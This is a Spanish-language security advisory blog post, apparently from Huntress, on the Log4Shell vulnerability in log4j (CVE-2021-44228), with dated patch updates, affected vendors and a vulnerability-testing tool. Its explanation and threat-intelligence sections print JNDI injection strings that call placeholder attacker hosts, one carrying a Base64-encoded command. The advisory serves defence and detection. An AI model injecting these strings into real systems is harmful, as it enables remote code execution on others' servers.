Nuestro equipo está investigando el CVE-2021-44228, una vulnerabilidad crítica que afecta un paquete de registro de Java, log4j, utilizado en una cantidad significativa de software, incluyendo Apache, Apple iCloud, Steam, Minecraft y otros. Huntress está descubriendo activamente los efectos de esta vulnerabilidad y actualizará esta página con frecuencia.
Por el momento, no hemos identificado un impacto en The Huntress Security Platform, pero nuestros equipos están revisando diligentemente para asegurar que todas las instancias de nuestro back-end sean seguras, y tomarán las medidas adecuadas según sea necesario.
Si tu organización usa la biblioteca log4j, debes actualizar a log4j 2.17.1 de inmediato. Asegúrate de que tu instancia de Java esté actualizada; sin embargo, vale la pena señalar que esta no es una solución integral. Es posible que debas esperar hasta que tus proveedores publiquen actualizaciones de seguridad para sus productos afectados.
El paquete log4j puede venir incluido en el software que usas, provisto por cualquier proveedor. En este escenario, lamentablemente, los proveedores mismos tendrán que enviar las actualizaciones de seguridad posteriormente. Al evaluar tu propio riesgo y modelo de amenazas, considera los componentes del software que usas y, especialmente, lo que pueda ser de acceso público.
Tom Lawrence, miembro de la comunidad MSP, confirmó e informó a Huntress que la plataforma del controlador UniFi es vulnerable. Si usas esta tecnología, te recomendamos actualizar a la versión parcheada 6.5.54 lo antes posible.
Actualización n.º 7 - 29/12/2021 a las 12:40 p. m. hora del Este
log4j 2.17.1 se lanzó para abordar una vulnerabilidad que fue descubierta en la versión 2.17.0. Esta versión era vulnerable a un ataque de ejecución arbitraria de código en el que un atacante con permiso para modificar el archivo de configuración de registro puede construir una configuración maliciosa usando un JDBC Appender con una fuente de datos que hace referencia a un URI de JNDI, lo cual puede ejecutar código remoto. Este problema se solucionó al limitar los nombres de fuentes de datos JNDI al protocolo java en log4j2 2.17.1.
Recomendamos que actualices cualquier instancia de log4j a esta última versión. Para más detalles, visita esta página: https://logging.apache.org/log4j/2.x/.
Actualización #6 - 20/12/2021 @ 12:30 p. m. hora del Este
log4j 2.17.0 ya está disponible para remediar el DoS CVE-2021-45105, presente en 2.16.0. Revisa los detalles del lanzamiento aquí: https://logging.apache.org/log4j/2.x/security.html#a2.17.0.
Actualización #5 - 13/12/2021 @ 7:50 p. m. hora del Este
log4j 2.16.0 ya está disponible y ahora deshabilita JNDI por completo de forma predeterminada, además de eliminar el soporte para Message Lookups. Puedes encontrar más detalles del lanzamiento aquí: https://logging.apache.org/log4j/2.x/security.html#a2.16.0
Actualización #4 - 13/12/2021 @ 5:40 p. m. hora del Este
Únete a nosotros el martes 14 de diciembre a la 1:00 p. m. hora del Este para Tradecraft Tuesday. Nos uniremos con nuestro amigo de la industria y cocreador de nuestra herramienta de vulnerabilidad Log4Shell, Jason Slagle, para hablar sobre esta vulnerabilidad y compartir lo que sabemos.
Actualización #2 - 11/12/2021 @ 1:00 a. m. hora del Este
Haz clic aquí para saber más, y un enorme agradecimiento a Jason Slagle y a nuestros propios Caleb Stewart y John Hammond por liderar este esfuerzo.
Actualización #1 - 10/12/2021 @ 5:00 p. m. hora del Este
Estamos empezando a ver un impacto más significativo de esta vulnerabilidad hacia los MSP. Auvik ha expresado públicamente que la biblioteca vulnerable log4j está en uso dentro de sus sistemas, on-premises ConnectWise ha compartido avisos e inquietudes sobre las instalaciones de ConnectWise Manage, y N-able ha confirmado que su RMM y N-Central están afectados.
Estamos investigando el alcance y publicaremos una actualización en nuestro blog tan pronto como tengamos una.
¿Qué está pasando?
Los atacantes están explotando activamente una vulnerabilidad crítica que afecta a un paquete de registro de Java. log4j se usa en una variedad de software popular de distintos fabricantes, incluyendo Apple, Twitter y Steam.
Debido a su gran superficie de ataque y a la gravedad innata de la ejecución remota de código, los investigadores de seguridad están llamando a esta vulnerabilidad una "shellshock". Todo lo que los actores de amenazas necesitan para activar un ataque es una línea de texto. No hay un objetivo obvio para esta vulnerabilidad: los hackers están usando un enfoque de disparar y rezar para causar estragos.
¿Quién está afectado?
Millones de aplicaciones y fabricantes usan log4j para el registro. Esto incluye...
Apple
Twitter
Steam
Tesla
Aplicaciones de Apache (p. ej., Apache Struts, Solr y Druid)
Redis Desktop Manager (Redis propiamente no se ve afectado)
ElasticSearch
Videojuegos (p. ej., Minecraft)
Este recurso de la comunidad es una lista creciente de software y componentes que se ha descubierto que son vulnerables y se vieron afectados.
¿Qué debo hacer?
Si tu organización usa la biblioteca log4j, actualiza a log4j 2.17.1 de inmediato. También debes asegurarte de que tu instancia de Java esté actualizada.
Se lanzó un parche para CVE-2021-44228, pero lamentablemente dependemos de muchos de nuestros proveedores para que publiquen actualizaciones que corrijan por completo la vulnerabilidad.
¿Cómo funciona la vulnerabilidad?
El vector de ataque es sumamente trivial para los actores de amenazas. Una sola cadena de texto puede hacer que una aplicación se comunique con una ubicación externa si se registra a través de la instancia vulnerable de log4j.
Un actor de amenazas podría enviar un texto especial en un encabezado HTTP User-Agent o en una simple solicitud de formulario POST, con el formato habitual:
${jndi:ldap://maliciousexternalhost.com/resource
...donde maliciousexternalhost.com es una instancia controlada por el adversario. La vulnerabilidad de log4j analiza esto y se comunica con el servidor malicioso a través de la "Java Naming and Directory Interface" (JNDI). El recurso de la primera etapa actúa como trampolín hacia otro endpoint controlado por el atacante, que entrega código Java que se ejecutará en la víctima original.
En definitiva, esto le da al adversario la oportunidad de ejecutar cualquier código que desee en el objetivo: ejecución remota de código.
El investigador de Huntress John Hammond recreó un exploit de prueba de concepto contra el objetivo más común: servidores del videojuego Minecraft. Al preparar un referente LDAP para el endpoint controlado por el atacante en la primera etapa, un servidor HTTP que entrega el payload de la segunda etapa, y un listener para recibir una respuesta, un solo mensaje de chat dentro del servidor del juego Minecraft detonaría este payload en las máquinas de todos los demás jugadores conectados al servidor.
Con fines demostrativos, mostramos cómo se abre la inofensiva aplicación de calculadora o se obtiene un símbolo del sistema local, pero ten en cuenta que esto bien podría ejecutar cualquier tipo de código malicioso. Según los controles de acceso y otros elementos de tu postura de seguridad, esto podría dar lugar a un compromiso futuro, ya sea con mineros de criptomonedas, balizas de Cobalt Strike o ransomware.
Inteligencia de amenazas
El abuso de JNDI aquí se realiza fácilmente con una utilidad pública y accesible, JNDIExploit. El uso de esta herramienta por parte de un actor de amenazas puede brindar un descubrimiento y análisis valiosos a los defensores que revisan los registros: los comandos ejecutados normalmente se incluyen dentro de la URL como texto codificado en Base64. Estos se ven como consultas:
${jndi:ldap://MALICIOUSHOST.COM:PORT/Basic/Command/Base64/LoNGeNcoDeDcOmMaNd
GreyNoise ha estado monitoreando explotación activa vista en el mundo real desde más de un centenar de hosts al momento de escribir esto. Este recurso incluye direcciones IP y hosts que puedes usar para detectar o prevenir mejor a actores conocidos.
También se han descubierto payloads recientes que usan un esquema jndi:dns:// en lugar de LDAP.
El investigador de seguridad Florian Roth compartió comandos grep además de reglas YARA para la detección de la explotación de CVE-2021-44228.
¿Qué está haciendo Huntress?
Hemos creado una herramienta para ayudarte a probar si tus aplicaciones son vulnerables a CVE-2021-44228.
El sitio web generará un identificador único para probar si tu aplicación es vulnerable a Log4Shell (CVE-2021-44228). Una prueba negativa no garantiza que tu aplicación esté parchada.
Así es como se usa:
Simplemente copia y pega la sintaxis JNDI generada (el bloque de código ${jndi[:]ldap[:]//.... que se presenta en el sitio) en cualquier parte (cajas de entrada de aplicaciones, campos de formularios de sitios frontend, inicios de sesión como campos de nombre de usuario, o si eres un poco más técnico, incluso en el User-Agent, X-Forwarded-For u otros encabezados HTTP personalizables). Ten en cuenta que nuestra plataforma de blog no permite la sintaxis completa, así que dejamos fuera la llave de cierre 😅
Haz clic en el botón "View Connection" después de haber pegado la sintaxis para ver si recibió alguna conexión, y verifica la dirección IP detectada y la marca de tiempo, para correlacionarlas con el momento en que probaste algún servicio
Si ves una entrada, se estableció una conexión y la aplicación que probaste es vulnerable
El sitio web funciona generando un identificador único aleatorio para ti, el cual puedes usar luego al probar campos de entrada. Si un campo de entrada o aplicación es vulnerable, se comunicará con este sitio web mediante LDAP. Nuestro servidor LDAP terminará la conexión de inmediato y la registrará por un breve período. Esta herramienta no ejecutará ningún código en tus sistemas.
Ten en cuenta que esta herramienta está pensada únicamente para fines de prueba y solo debe usarse en sistemas que estés autorizado a probar. Si encuentras alguna vulnerabilidad, sigue las pautas de divulgación responsable.
Por motivos de transparencia, estamos brindando acceso al código fuente de esta utilidad, que puedes encontrar aquí.
MUCHAS gracias a Jason Slagle y a nuestros propios Caleb Stewart y John Hammond por liderar este esfuerzo.
